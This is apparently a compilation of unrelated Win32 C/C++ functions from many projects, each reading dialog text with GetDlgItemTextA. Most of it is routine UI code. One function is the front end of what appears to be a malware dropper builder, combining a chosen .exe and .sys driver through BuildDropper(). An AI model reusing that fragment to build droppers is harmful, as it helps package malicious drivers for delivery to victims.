//反汇编对话框的消息处理 BOOL CALLBACK DlgProc2(HWND hdlg,UINT message,WPARAM wParam, LPARAM lParam) { switch(message) { case WM_INITDIALOG: break; case WM_COMMAND: switch(LOWORD(wParam)) { case ID_OK: { char szStr[20]; GetDlgItemTextA(hdlg, IDC_EDIT1, szStr, 20); StartAddress = atoi(szStr); GetDlgItemTextA(hdlg, IDC_EDIT2, szStr, 20); Size = atoi(szStr); EndDialog(hdlg, 0); } break; case ID_CLOSE: EndDialog(hdlg, 0); break; } } return 0; }
static INT_PTR CALLBACK gg_confoptsdlgproc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { GGPROTO *gg = (GGPROTO *)GetWindowLongPtr(hwndDlg, GWLP_USERDATA); DWORD num; switch (msg) { case WM_INITDIALOG: gg = (GGPROTO *)lParam; SetWindowLongPtr(hwndDlg, GWLP_USERDATA, (LONG_PTR)lParam); TranslateDialogDefault(hwndDlg); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_TOTAL, CB_ADDSTRING, 0, (LPARAM)TranslateT("Allow")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_TOTAL, CB_ADDSTRING, 0, (LPARAM)TranslateT("Ask")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_TOTAL, CB_ADDSTRING, 0, (LPARAM)TranslateT("Ignore")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_TOTAL, CB_SETCURSEL, gg->getWord(GG_KEY_GC_POLICY_TOTAL, GG_KEYDEF_GC_POLICY_TOTAL), 0); if (num = gg->getWord(GG_KEY_GC_COUNT_TOTAL, GG_KEYDEF_GC_COUNT_TOTAL)) SetDlgItemTextA(hwndDlg, IDC_GC_COUNT_TOTAL, ditoa(num)); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_UNKNOWN, CB_ADDSTRING, 0, (LPARAM)TranslateT("Allow")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_UNKNOWN, CB_ADDSTRING, 0, (LPARAM)TranslateT("Ask")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_UNKNOWN, CB_ADDSTRING, 0, (LPARAM)TranslateT("Ignore")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_UNKNOWN, CB_SETCURSEL, gg->getWord(GG_KEY_GC_POLICY_UNKNOWN, GG_KEYDEF_GC_POLICY_UNKNOWN), 0); if (num = gg->getWord(GG_KEY_GC_COUNT_UNKNOWN, GG_KEYDEF_GC_COUNT_UNKNOWN)) SetDlgItemTextA(hwndDlg, IDC_GC_COUNT_UNKNOWN, ditoa(num)); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_DEFAULT, CB_ADDSTRING, 0, (LPARAM)TranslateT("Allow")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_DEFAULT, CB_ADDSTRING, 0, (LPARAM)TranslateT("Ask")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_DEFAULT, CB_ADDSTRING, 0, (LPARAM)TranslateT("Ignore")); SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_DEFAULT, CB_SETCURSEL, gg->getWord(GG_KEY_GC_POLICY_DEFAULT, GG_KEYDEF_GC_POLICY_DEFAULT), 0); break; case WM_COMMAND: if ((LOWORD(wParam) == IDC_GC_COUNT_TOTAL || LOWORD(wParam) == IDC_GC_COUNT_UNKNOWN) && (HIWORD(wParam) != EN_CHANGE || (HWND) lParam != GetFocus())) return 0; SendMessage(GetParent(hwndDlg), PSM_CHANGED, 0, 0); break; case WM_NOTIFY: switch (((LPNMHDR) lParam)->code) { case PSN_APPLY: char str[128]; // Write groupchat policy gg->setWord(GG_KEY_GC_POLICY_TOTAL, (WORD)SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_TOTAL, CB_GETCURSEL, 0, 0)); gg->setWord(GG_KEY_GC_POLICY_UNKNOWN, (WORD)SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_UNKNOWN, CB_GETCURSEL, 0, 0)); gg->setWord(GG_KEY_GC_POLICY_DEFAULT, (WORD)SendDlgItemMessage(hwndDlg, IDC_GC_POLICY_DEFAULT, CB_GETCURSEL, 0, 0)); GetDlgItemTextA(hwndDlg, IDC_GC_COUNT_TOTAL, str, _countof(str)); gg->setWord(GG_KEY_GC_COUNT_TOTAL, (WORD)atoi(str)); GetDlgItemTextA(hwndDlg, IDC_GC_COUNT_UNKNOWN, str, _countof(str)); gg->setWord(GG_KEY_GC_COUNT_UNKNOWN, (WORD)atoi(str)); } break; } return FALSE; }
int WINAPI MainDlgProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) { CHAR ExeFilePath[MAX_PATH] = {0}; CHAR SysFilePath[MAX_PATH] = {0}; if (message == WM_COMMAND) { if (wParam == IDOK) { if (GetDlgItemTextA(hWnd, IDC_PATH_EXE, ExeFilePath, MAX_PATH-1)) { if (GetDlgItemTextA(hWnd, IDC_PATH_SYS, SysFilePath, MAX_PATH-1)) { if (BuildDropper(ExeFilePath, SysFilePath)) { MessageBoxA(hWnd, "OK", "OK", MB_OK); } } } return 0; } if (wParam == IDC_CHOSE_EXE) { char *file = OpenFileDialog("Executable files (*.exe)\0*.exe\0", hWnd); if (file) { SetDlgItemText(hWnd, IDC_PATH_EXE, file); delete file; } return 0; } if (wParam == IDC_CHOSE_SYS) { char *file = OpenFileDialog("Executable files (*.sys)\0*.sys\0", hWnd); if (file) { SetDlgItemText(hWnd, IDC_PATH_SYS, file); delete file; } return 0; } if (wParam == IDCANCEL) { return EndDialog(hWnd, 0), ExitProcess(0), 0; } } return 0; }
INT_PTR CALLBACK DlgProcContactInfo(HWND hwnd, UINT msg, WPARAM, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: TranslateDialogDefault(hwnd); { MCONTACT hContact = (MCONTACT)((PROPSHEETPAGE*)lParam)->lParam; char name[2048]; SetWindowLongPtr(hwnd, GWLP_USERDATA, (LONG_PTR)hContact); if (db_get_static(hContact, MODNAME, "Name", name, _countof(name))) break; SetDlgItemTextA(hwnd, IDC_DISPLAY_NAME, name); if (db_get_static(hContact, MODNAME, "ToolTip", name, _countof(name))) break; SetDlgItemTextA(hwnd, IDC_TOOLTIP, name); } return TRUE; case WM_COMMAND: SendMessage(GetParent(hwnd), PSM_CHANGED, 0, 0); return TRUE; case WM_NOTIFY: switch (((LPNMHDR)lParam)->idFrom) { case 0: switch (((LPNMHDR)lParam)->code) { case PSN_APPLY: MCONTACT hContact = (MCONTACT)GetWindowLongPtr(hwnd, GWLP_USERDATA); if (GetWindowTextLength(GetDlgItem(hwnd, IDC_DISPLAY_NAME))) { char text[512]; GetDlgItemTextA(hwnd, IDC_DISPLAY_NAME, text, _countof(text)); db_set_s(hContact, MODNAME, "Name", text); WriteSetting(hContact, MODNAME, "Name", MODNAME, "Nick"); } else { db_unset(hContact, MODNAME, "Name"); db_unset(hContact, MODNAME, "Nick"); } if (GetWindowTextLength(GetDlgItem(hwnd, IDC_TOOLTIP))) { char text[2048]; GetDlgItemTextA(hwnd, IDC_TOOLTIP, text, _countof(text)); db_set_s(hContact, MODNAME, "ToolTip", text); WriteSetting(hContact, MODNAME, "ToolTip", "UserInfo", "MyNotes"); } else { db_unset(hContact, MODNAME, "ToolTip"); db_unset(hContact, "UserInfo", "MyNotes"); } } return TRUE; } break; } return FALSE; }
static INT_PTR CALLBACK PromptForInputDialogProc(HWND dialogHandle, UINT message, WPARAM wParam, LPARAM lParam) { BOOL result = TRUE; // Initialization if (message == WM_INITDIALOG) { // Text initialization TInputDialogInitInfo *pInfo = reinterpret_cast<TInputDialogInitInfo *>(lParam); SetWindowTextA(dialogHandle, pInfo->get<1>().c_str()); SetDlgItemTextA(dialogHandle, IDC_PROMPT, pInfo->get<2>().c_str()); SetDlgItemTextA(dialogHandle, IDC_EDIT_CONTENT, pInfo->get<3>().c_str()); SetDlgItemTextA(dialogHandle, IDOK, pInfo->get<4>().c_str()); SetDlgItemTextA(dialogHandle, IDCANCEL, pInfo->get<5>().c_str()); } // Clicked button else if (message == WM_COMMAND) { // ID that triggered UINT id = LOWORD(wParam); // Clicked "OK" or "Cancel" if (id == IDOK || id == IDCANCEL) { // TODO: Duplicate code. SInputInfo *pInfo = reinterpret_cast<SInputInfo *>(malloc(sizeof(SInputInfo))); if (pInfo) { pInfo->isOkClicked = (id == IDOK); GetDlgItemTextA(dialogHandle, IDC_EDIT_CONTENT, pInfo->text, sizeof(pInfo->text)); } EndDialog(dialogHandle, reinterpret_cast<INT_PTR>(pInfo)); } } // Clicked close else if (message == WM_CLOSE) { // TODO: Duplicate code. SInputInfo *pInfo = reinterpret_cast<SInputInfo *>(malloc(sizeof(SInputInfo))); if (pInfo) { pInfo->isOkClicked = false; GetDlgItemTextA(dialogHandle, IDC_EDIT_CONTENT, pInfo->text, sizeof(pInfo->text)); } EndDialog(dialogHandle, reinterpret_cast<INT_PTR>(pInfo)); } // Messages that not interested else { result = FALSE; } return result; }
VOID GetSetting(HWND hwnd) { int i; CHAR buf[256]; for (i = 0; i < hack_argcount; i++) { GetDlgItemTextA(hwnd, IDC_ARGVAL00 + i, buf, 256); sz_trim(buf); switch (hack_arginfo[i].type) { case t_Bool: if (lstrcmpiA(buf, "True") == 0 || lstrcmpiA(buf, "1") == 0 ) *(Bool *)hack_arginfo[i].data = True; else if (lstrcmpiA(buf, "False") == 0 || lstrcmpiA(buf, "0") == 0 ) *(Bool *)hack_arginfo[i].data = False; break; case t_Int: *(INT *)hack_arginfo[i].data = strtol(buf, NULL, 10); break; case t_Float: *(float *)hack_arginfo[i].data = strtod(buf, NULL); break; case t_String: *(char **)hack_arginfo[i].data = _strdup(buf); break; } } if (hack_count_enabled) { GetDlgItemTextA(hwnd, IDC_COUNTVAL, buf, 256); sz_trim(buf); ss.modeinfo.count = strtol(buf, NULL, 10); } if (hack_cycles_enabled) { GetDlgItemTextA(hwnd, IDC_CYCLESVAL, buf, 256); sz_trim(buf); ss.modeinfo.cycles = strtol(buf, NULL, 10); } if (hack_size_enabled) { GetDlgItemTextA(hwnd, IDC_SIZEVAL, buf, 256); sz_trim(buf); ss.modeinfo.size = strtol(buf, NULL, 10); } }
void upsStatus::Update(StatMgr *statmgr) { // Bail if window is not open WaitForSingleObject(_mutex, INFINITE); if (!_hwnd) { ReleaseMutex(_mutex); return; } // Fetch full status from nutupsd list<string> keys, values; if (!statmgr->GetAll(keys, values) || keys.empty()) { ReleaseMutex(_mutex); return; } // Update listview list<string>* data[] = {&keys, &values}; _grid->UpdateAll(data); // Update battery _bmeter->Set(atoi(statmgr->Get("battery.charge").c_str())); // Update load _lmeter->Set(atoi(statmgr->Get("ups.load").c_str())); // Update status char str[128]; string stat = statmgr->Get("ups.status"); GetDlgItemTextA(_hwnd, IDC_STATUS, str, sizeof(str)); if (stat != str) SetDlgItemTextA(_hwnd, IDC_STATUS, stat.c_str()); // Update runtime string runtime = statmgr->Get("battery.runtime"); GetDlgItemTextA(_hwnd, IDC_RUNTIME, str, sizeof(str)); if (runtime != str) SetDlgItemTextA(_hwnd, IDC_RUNTIME, runtime.c_str()); // Update title bar char name[512]; string upsname = statmgr->Get("UPS"); snprintf(name, sizeof(name), "Status for UPS: %s", upsname.c_str()); SetWindowTextA(_hwnd, name); ReleaseMutex(_mutex); }
void ProjectConfigDialog::onSelectScriptFile(void) { char buff[MAX_PATH + 1] = {0}; char projdir[MAX_PATH + 1] = {0}; GetDlgItemTextA(m_hwndDialog, IDC_EDIT_PROJECT_DIR, projdir, MAX_PATH); OPENFILENAMEA ofn = {0}; ofn.lStructSize = sizeof(ofn); ofn.hwndOwner = m_hwndDialog; ofn.lpstrFilter = "Lua Script File (*.lua)\0*.lua\0"; ofn.lpstrTitle = "Select Script File"; if (DirectoryExists(projdir)) { ofn.lpstrInitialDir = projdir; } ofn.Flags = OFN_DONTADDTORECENT | OFN_ENABLESIZING | OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST; ofn.lpstrFile = buff; ofn.nMaxFile = MAX_PATH; if (GetOpenFileNameA(&ofn)) { m_project.setScriptFile(buff); updateScriptFile(); } }
static INT_PTR CALLBACK EditUserEmailDlgProc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_INITDIALOG: SetWindowLongPtr(hwndDlg,GWLP_USERDATA,(LONG_PTR)lParam); if(*(char*)lParam) SetWindowText(hwndDlg,TranslateT("Edit E-Mail Address")); TranslateDialogDefault(hwndDlg); SetDlgItemTextA(hwndDlg,IDC_EMAIL,(char*)lParam); EnableWindow(GetDlgItem(hwndDlg,IDOK),*(char*)lParam); return TRUE; case WM_COMMAND: switch(LOWORD(wParam)) { case IDOK: GetDlgItemTextA(hwndDlg,IDC_EMAIL,(char*)GetWindowLongPtr(hwndDlg,GWLP_USERDATA),256); //fall through case IDCANCEL: EndDialog(hwndDlg,wParam); case IDC_EMAIL: if(HIWORD(wParam)==EN_CHANGE) EnableWindow(GetDlgItem(hwndDlg,IDOK),GetWindowTextLength(GetDlgItem(hwndDlg,IDC_EMAIL))); break; } break; } return FALSE; }
LRESULT CALLBACK AboutProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM) { char buf[48]; DWORD d; switch(message){ case WM_INITDIALOG: setDlgTexts(hWnd, 11); d=getVer(); sprintf(buf, "%d.%d", HIWORD(d), LOWORD(d)); SetDlgItemTextA(hWnd, 101, buf); return TRUE; case WM_COMMAND: switch(wParam){ case IDOK: case IDCANCEL: EndDialog(hWnd, wParam); return TRUE; case 123: GetDlgItemTextA(hWnd, wParam, buf, sizeA(buf)-13); if(!_tcscmp(lang, _T("English"))) strcat(buf, "/indexEN.html"); ShellExecuteA(0, 0, buf, 0, 0, SW_SHOWNORMAL); break; } break; } return FALSE; }
INT CALLBACK dlogpassproc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { switch(message) { case WM_INITDIALOG: SetDlgItemTextA(hwnd, 4, pd_filename); return TRUE; case WM_COMMAND: switch(wParam) { case 1: pd_okay = 1; GetDlgItemTextA(hwnd, 3, pd_password, sizeof pd_password); EndDialog(hwnd, 1); return TRUE; case 2: pd_okay = 0; EndDialog(hwnd, 1); return TRUE; } break; } return FALSE; }
static int JabbeSearchrRenewFields(HWND hwndDlg, JabberSearchData * dat) { char szServerName[100]; EnableWindow(GetDlgItem(hwndDlg, IDC_GO),FALSE); GetDlgItemTextA(hwndDlg,IDC_SERVER,szServerName,sizeof(szServerName)); dat->CurrentHeight = 0; dat->curPos = 0; SetScrollPos( GetDlgItem( hwndDlg, IDC_VSCROLL ), SB_CTL, 0, FALSE ); JabberSearchFreeData( hwndDlg, dat ); JabberSearchRefreshFrameScroll( hwndDlg, dat ); if ( jabberOnline ) SetDlgItemText(hwndDlg,IDC_INSTRUCTIONS,TranslateT("Please wait...\r\nConnecting search server...")); else SetDlgItemText(hwndDlg,IDC_INSTRUCTIONS,TranslateT("You have to be connected to server")); if ( !jabberOnline ) return 0; searchHandleDlg = hwndDlg; int iqId = JabberSerialNext(); XmlNodeIq iq( "get", iqId, szServerName ); XmlNode* query = iq.addChild( "query" ); query->addAttr( "xmlns", "jabber:iq:search" ); JabberIqAdd( iqId, IQ_PROC_GETSEARCHFIELDS, JabberIqResultGetSearchFields ); JabberSend( jabberThreadInfo->s, iq ); return iqId; }
static INT_PTR CALLBACK Window_StopwatchExportDlg(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam) { (void)lParam; // unused switch(msg) { case WM_INITDIALOG:{ wchar_t buf[128]; api.GetStr(L"Timers", L"SwExT", buf, _countof(buf), L""); SetDlgItemText(hDlg,IDC_SWE_TOTAL,buf); api.GetStr(L"Timers", L"SwExL", buf, _countof(buf), L""); SetDlgItemText(hDlg, IDC_SWE_LAP, buf); SendMessage(hDlg, WM_COMMAND,IDOK, 0); Edit_SetSel(GetDlgItem(hDlg,IDC_SWE_OUT), 0, -1); SetFocus(GetDlgItem(hDlg,IDC_SWE_OUT)); return FALSE;} case WM_DESTROY:{ break;} case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_SWE_EXPORT:{ wchar_t filename[MAX_PATH]; unsigned buflen = (unsigned)SendDlgItemMessageA(hDlg,IDC_SWE_OUT,WM_GETTEXTLENGTH,0,0); char* buf = malloc(buflen + 1); if(buf && buflen){ GetDlgItemTextA(hDlg, IDC_SWE_OUT, buf, buflen+1); *filename = '\0'; if(SaveFileDialog(hDlg,filename,_countof(filename))){ FILE* fp = _wfopen(filename, L"wb"); if(fp){ fwrite(buf, sizeof(buf[0]), buflen, fp); fclose(fp); } } } free(buf); break;} case IDOK:{ wchar_t buf[128]; GetDlgItemText(hDlg, IDC_SWE_TOTAL, buf, _countof(buf)); if(!*buf){ api.DelValue(L"Timers", L"SwExT"); SetDlgItemText(hDlg, IDC_SWE_TOTAL, L"\\n--------------------\\n\\t"); }else api.SetStr(L"Timers", L"SwExT", buf); GetDlgItemText(hDlg, IDC_SWE_LAP, buf, _countof(buf)); if(!*buf){ api.DelValue(L"Timers", L"SwExL"); SetDlgItemText(hDlg, IDC_SWE_LAP, L"Lap \\#\\f: \\l (\\t)\\n"); }else api.SetStr(L"Timers", L"SwExL", buf); export_text(hDlg); break;} case IDCANCEL: EndDialog(hDlg, TRUE); } return TRUE; } } return FALSE; }
void ProjectConfigDialog::onScreenDirectionChanged(void) { char buff[32] = {0}; GetDlgItemTextA(m_hwndDialog, IDC_EDIT_SCREEN_WIDTH, buff, 30); int w = atoi(buff); GetDlgItemTextA(m_hwndDialog, IDC_EDIT_SCREEN_HEIGHT, buff, 30); int h = atoi(buff); bool isLandscape = IsDlgButtonChecked(m_hwndDialog, IDC_RADIO_LANDSCAPE) == BST_CHECKED; if ((isLandscape && w < h) || (!isLandscape && w > h)) { sprintf_s(buff, "%d", h); SetDlgItemTextA(m_hwndDialog, IDC_EDIT_SCREEN_WIDTH, buff); sprintf_s(buff, "%d", w); SetDlgItemTextA(m_hwndDialog, IDC_EDIT_SCREEN_HEIGHT, buff); } }
static void searchPackTLVWordLNTS(PBYTE *buf, int *buflen, HWND hwndDlg, UINT idControl, WORD w, WORD wType) { char str[512]; GetDlgItemTextA(hwndDlg, idControl, str, sizeof(str)); ppackLETLVWordLNTS(buf, buflen, w, str, wType, 0); }
static INT_PTR CALLBACK PwConfirmDlgProc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { PwConfirmDlgParam* dat = (PwConfirmDlgParam*)GetWindowLongPtr(hwndDlg, GWLP_USERDATA); switch(msg) { case WM_INITDIALOG: TranslateDialogDefault(hwndDlg); SetWindowLongPtr(hwndDlg, GWLP_USERDATA, lParam); SendDlgItemMessage(hwndDlg,IDC_PASSWORD,EM_LIMITTEXT,15,0); return TRUE; case WM_COMMAND: switch(LOWORD(wParam)) { case IDOK: { char szTest[16]; GetDlgItemTextA(hwndDlg,IDC_OLDPASS,szTest,sizeof(szTest)); if (strcmpnull(szTest, dat->ppro->GetUserPassword(TRUE))) { MessageBox(hwndDlg, TranslateT("The password does not match your current password. Check Caps Lock and try again."), TranslateT("Change ICQ Details"), MB_OK); SendDlgItemMessage(hwndDlg,IDC_OLDPASS,EM_SETSEL,0,(LPARAM)-1); SetFocus(GetDlgItem(hwndDlg,IDC_OLDPASS)); break; } GetDlgItemTextA(hwndDlg,IDC_PASSWORD,szTest,sizeof(szTest)); if(strcmpnull(szTest, dat->Pass)) { MessageBox(hwndDlg, TranslateT("The password does not match the password you originally entered. Check Caps Lock and try again."), TranslateT("Change ICQ Details"), MB_OK); SendDlgItemMessage(hwndDlg,IDC_PASSWORD,EM_SETSEL,0,(LPARAM)-1); SetFocus(GetDlgItem(hwndDlg,IDC_PASSWORD)); break; } } case IDCANCEL: EndDialog(hwndDlg,wParam); break; } break; } return FALSE; }
// 먼저 한번 거르고 메시지 처리 void PreTranslateMessage(LPMSG msg){ if (msg->message == WM_KEYUP) { switch (msg->wParam) { case VK_RETURN: if (GetFocus() == _hwMemo){ GetDlgItemTextA(_hw, EDIT1, buffer2, sizeof(buffer2)); if (strlen(buffer2) != 0){ //ID string a = buffer2; GetDlgItemTextA(_hw, EDIT4, buffer2, sizeof(buffer2)); string b = buffer2; a = b + ": " + a; MyMessObj.SendMessagePort(a); g_pChatMgr->setInputString(">"); SetWindowText(GetDlgItem(_hw, EDIT1), L""); } else { g_pChatMgr->setInputString(""); //SetFocus(_hw); } break; //return;/*i don't want this message to reach the procedures anway*/ } case VK_ESCAPE: g_pChatMgr->setInputString(""); SetFocus(_hw); break; default: if (GetFocus() == _hwMemo){ GetDlgItemTextA(_hw, EDIT1, buffer3, sizeof(buffer3)); string input = buffer3; input = ">" + input; g_pChatMgr->setInputString(input); } break; } } TranslateMessage(msg); DispatchMessage(msg); }
UT_UTF8String AP_Win32Dialog_GenericInput::_getText(HWND hWnd, int nID) { UT_return_val_if_fail(hWnd, UT_UTF8String()); const int buflen = 4096; char szBuff[buflen]; *szBuff=0; GetDlgItemTextA(hWnd, nID, szBuff, buflen); szBuff[buflen-1] = '\0'; return AP_Win32App::s_fromWinLocaleToUTF8(szBuff); }
void PERF::OnBnClickedOk() { CTT3App *tA = (CTT3App*)theApp.GetMainWnd(); CTT3Dlg *pW = (CTT3Dlg*)tA; pW->iPerfPub = GetDlgItemInt(IDC_EDIT1, 0, FALSE); pW->iDelay = GetDlgItemInt(IDC_EDIT2, 0, FALSE); pW->iTT3Apps = GetDlgItemInt(IDC_EDIT4, 0, FALSE); GetDlgItemTextA(IDC_EDIT5, pW->sTT3Subscribe, 100); CDialog::OnOK(); }
int JabberSearchByAdvanced( WPARAM wParam, LPARAM lParam ) { if ( !jabberOnline || !lParam) return 0; //error HWND hwndDlg=(HWND) lParam; JabberSearchData * dat=(JabberSearchData *)GetWindowLong(hwndDlg,GWL_USERDATA); if ( !dat ) return 0; //error // check if server connected (at least one field exists) if ( dat->nJSInfCount == 0 ) return 0; // formating request BOOL fRequestNotEmpty=FALSE; // get server name char szServerName[100]; GetDlgItemTextA( hwndDlg, IDC_SERVER, szServerName, sizeof( szServerName )); // formating query int iqId = JabberSerialNext(); XmlNodeIq iq( "set", iqId, szServerName ); XmlNode* query = iq.addChild( "query" ), *field; iq.addAttr( "xml:lang", "en" ); //? not sure is it needed ? query->addAttr( "xmlns", "jabber:iq:search" ); // next can be 2 cases: // Forms: XEP-0055 Example 7 if ( dat->fSearchRequestIsXForm ) { fRequestNotEmpty=TRUE; query->addChild(JabberFormGetData(GetDlgItem(hwndDlg, IDC_FRAME), dat->xNode)); } else { //and Simple fields: XEP-0055 Example 3 for ( int i=0; i<dat->nJSInfCount; i++ ) { TCHAR szFieldValue[100]; GetWindowText(dat->pJSInf[i].hwndValueItem, szFieldValue, SIZEOF(szFieldValue)); if ( szFieldValue[0] != _T('\0')) { char* szTemp=t2a(dat->pJSInf[i].szFieldName); field = query->addChild( szTemp, szFieldValue ); mir_free(szTemp); fRequestNotEmpty=TRUE; } } } if ( fRequestNotEmpty ) { // register search request result handler JabberIqAdd( iqId, IQ_PROC_GETSEARCH, JabberIqResultAdvancedSearch ); // send request JabberSend( jabberThreadInfo->s, iq ); return iqId; } return 0; }
static void test_GetDlgItemText(void) { char string[64]; BOOL ret; strcpy(string, "Overwrite Me"); ret = GetDlgItemTextA(NULL, 0, string, sizeof(string)/sizeof(string[0])); ok(!ret, "GetDlgItemText(NULL) shouldn't have succeeded\n"); ok(string[0] == '\0' || broken(!strcmp(string, "Overwrite Me")), "string retrieved using GetDlgItemText should have been NULL terminated\n"); }
LRESULT CALLBACK PromptWatchNameProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) //Gets the description of a watched address { RECT r; RECT r2; int dx1, dy1, dx2, dy2; switch(uMsg) { case WM_INITDIALOG: GetWindowRect(YabWin, &r); dx1 = (r.right - r.left) / 2; dy1 = (r.bottom - r.top) / 2; GetWindowRect(hDlg, &r2); dx2 = (r2.right - r2.left) / 2; dy2 = (r2.bottom - r2.top) / 2; //SetWindowPos(hDlg, NULL, max(0, r.left + (dx1 - dx2)), max(0, r.top + (dy1 - dy2)), NULL, NULL, SWP_NOSIZE | SWP_NOZORDER | SWP_SHOWWINDOW); SetWindowPos(hDlg, NULL, r.left, r.top, NULL, NULL, SWP_NOSIZE | SWP_NOZORDER | SWP_SHOWWINDOW); strcpy(Str_Tmp,"Enter a name for this RAM address."); SendDlgItemMessage(hDlg,IDC_PROMPT_TEXT,WM_SETTEXT,0,(LPARAM)_16(Str_Tmp)); strcpy(Str_Tmp,""); SendDlgItemMessage(hDlg,IDC_PROMPT_TEXT2,WM_SETTEXT,0,(LPARAM)_16(Str_Tmp)); return 1; break; case WM_COMMAND: switch(LOWORD(wParam)) { case IDOK: { GetDlgItemTextA(hDlg,IDC_PROMPT_EDIT,Str_Tmp,80); InsertWatch(&rswatches[WatchCount],Str_Tmp); EndDialog(hDlg, 1); return 1; break; } case ID_CANCEL: EndDialog(hDlg, 0); return 0; break; } break; case WM_CLOSE: EndDialog(hDlg, 0); return 0; break; } return 0; }
//----------------------------------------------------------------------------- // Name: UpdateCubeData() // Desc: //----------------------------------------------------------------------------- void UpdateSpiralData( HWND hWnd ) { char str[256]; GetDlgItemTextA( hWnd, IDC_EDIT_SPIRAL_WIDTH, str, 256 ); Settings->m_fBrush_Spiral_Width = (float)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_SPIRAL_HEIGHT, str, 256 ); Settings->m_fBrush_Spiral_Height = (float)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_SPIRAL_NUMSTEPS, str, 256 ); Settings->m_iBrush_Spiral_NumSteps = (int)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_SPIRAL_ADDTOFIRST, str, 256 ); Settings->m_fBrush_Spiral_AddToFirst = (float)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_SPIRAL_DEGREES, str, 256 ); Settings->m_fBrush_Spiral_Degrees = (float)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_SPIRAL_INNERRADIUS, str, 256 ); Settings->m_fBrush_Spiral_InnerRadius = (float)atof( str ); if( Settings->m_iBrush_Spiral_NumSteps <= 0 ) Settings->m_iBrush_Spiral_NumSteps = 1; }
static INT_PTR CALLBACK StatusMessageDlgProc(HWND hwndDlg,UINT msg,WPARAM wParam,LPARAM lParam) { static PROTOCOLSETTINGEX* protoSetting = NULL; switch(msg) { case WM_INITDIALOG: TranslateDialogDefault(hwndDlg); protoSetting = (PROTOCOLSETTINGEX *)lParam; if (protoSetting->szMsg == NULL) { TCHAR* smsg = GetDefaultStatusMessage(protoSetting, GetActualStatus(protoSetting)); if (smsg != NULL) { SetDlgItemText(hwndDlg, IDC_STSMSG, smsg); mir_free(smsg); } } else SetDlgItemTextA(hwndDlg, IDC_STSMSG, protoSetting->szMsg); { TCHAR desc[ 512 ]; mir_sntprintf(desc, SIZEOF(desc), TranslateT("Set %s message for %s."), CallService(MS_CLIST_GETSTATUSMODEDESCRIPTION, GetActualStatus(protoSetting), GSMDF_TCHAR ), protoSetting->tszAccName ); SetDlgItemText(hwndDlg, IDC_DESCRIPTION, desc); } break; case WM_COMMAND: switch (LOWORD(wParam)) { case IDC_OK: { int len = SendMessage(GetDlgItem(hwndDlg, IDC_STSMSG), WM_GETTEXTLENGTH, 0, 0); if (len > 0) { protoSetting->szMsg = ( char* )realloc(protoSetting->szMsg, len+1); if (protoSetting->szMsg != NULL) GetDlgItemTextA(hwndDlg, IDC_STSMSG, protoSetting->szMsg, len+1); } SendMessage(GetParent(hwndDlg), UM_STSMSGDLGCLOSED, (WPARAM)TRUE, 0); EndDialog(hwndDlg, IDC_OK); } break; case IDC_CANCEL: SendMessage(GetParent(hwndDlg), UM_STSMSGDLGCLOSED, (WPARAM)0, 0); EndDialog(hwndDlg, IDC_CANCEL); break; } break; } return FALSE; }
static int get_timeout(HWND hwndDlg) { if(IsDlgButtonChecked(hwndDlg,IDC_TIMEOUT_PERMANENT)) return -1; else if(IsDlgButtonChecked(hwndDlg,IDC_TIMEOUT_CUSTOM)) { char str[32]; GetDlgItemTextA(hwndDlg,IDC_TIMEOUT,str,sizeof(str)); return atoi(str); } else // Default checked (probably) return 0; }
void CLyricsDlg::OnSet(HWND hDlg) { m_bIsSet = true; CLyricsDlg* pThis = (CLyricsDlg*)GetWindowLongPtrA(hDlg, GWL_USERDATA); int line = pThis->m_List.m_Table.GetSelectedLine(); if (line==-1) line = 0; char sProgress[7]; GetDlgItemTextA(hDlg, IDC_PROGRESS, sProgress, 7); SetWindowTextA(pThis->m_List.m_Table.m_Lines[line].edSecond.m_hWnd, sProgress); if (line < pThis->m_List.m_Table.m_Lines.size() - 1) pThis->m_List.m_Table.SelectLine(line + 1); }
//----------------------------------------------------------------------------- // Name: UpdateCubeData() // Desc: //----------------------------------------------------------------------------- void UpdateStairsData( HWND hWnd ) { char str[256]; GetDlgItemTextA( hWnd, IDC_EDIT_STEP_DEPTH, str, 256 ); Settings->m_fBrush_Stairs_Depth = (float)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_STEP_WIDTH, str, 256 ); Settings->m_fBrush_Stairs_Width = (float)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_STEP_HEIGHT, str, 256 ); Settings->m_fBrush_Stairs_Height = (float)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_STEP_NUMSTEPS, str, 256 ); Settings->m_iBrush_Stairs_NumSteps = (int)atof( str ); GetDlgItemTextA( hWnd, IDC_EDIT_STEP_ADDTOFIRST, str, 256 ); Settings->m_fBrush_Stairs_AddToFirst = (float)atof( str ); if( Settings->m_iBrush_Stairs_NumSteps <= 0 ) Settings->m_iBrush_Stairs_NumSteps = 1; }
